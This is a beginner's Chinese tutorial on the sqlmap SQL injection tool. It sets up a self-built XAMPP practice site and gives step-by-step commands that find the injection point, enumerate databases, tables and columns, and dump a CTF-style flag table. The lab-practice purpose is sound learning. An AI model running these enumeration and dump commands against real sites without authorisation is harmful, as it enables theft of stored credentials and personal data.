sqlmap是一个开源软件,用于检测和利用数据库漏洞,并提供了将恶意代码注入其中的选项。[1]

它是一种渗透测试工具,可在终端中提供其用户界面,从而自动检测和利用SQL注入漏洞的过程。[2]

该软件在命令行运行,可以下载用于不同的操作系统:Linux发行版,Windows和Mac OS操作系统。[3]

除了映射和检测漏洞之外,该软件还可以访问数据库,编辑和删除数据以及查看表中的数据,例如用户,密码,备份,电话号码,电子邮件地址,信用卡以及其他机密和敏感信息。。

全面支持所有注入技术:布尔,错误,堆栈,时间,联合。

准备工作:

1、背景交代:现在的网站架构越来越多,要想找到一个有着sql注入漏洞的网站练手。我这种小白,还是欠缺经验。倒不如自己搭建一个来得快,反正也是练练手。

2、利用xampp集成工具搭建一个练习环境,简单一点,只写两张页面,一张用来提交数据,一张用来后台处理数据,查询数据库得到结果。

操作步骤:

1、检测是否存在注入点,确定注入点的位置:

sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'

发现注入点在参数id上

2、查看有哪些数据库:

sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'--dbs

发现了所有的数据库,共有9个。

3、查看当前数据库

sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'--current-db

得到当前的数据库名称为:testsql。

4、查看当前数据库下有哪些表

sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'-D testsql --tables

发现该数据库下只有两个表,其中user自然是存放用户的了。如果是参加比赛的话,一般会选择查看flag这个表(很明显的提示嘛)。

5、查看flag表有哪些列:

sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'-D testsql -T flag --columns

发现该表只有一列:flag且是varchar(100)类型的。

6、查看该表的内容:

sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'-D testsql -T flag -C flag --dump

只有一列,所以—C后只跟一个参数,如果是多列,用逗号隔开。参数 --dump 将转储DBMS数据库条目。

得到该表的内容。

小白一个,不对之处,还请批评指正,大神轻喷。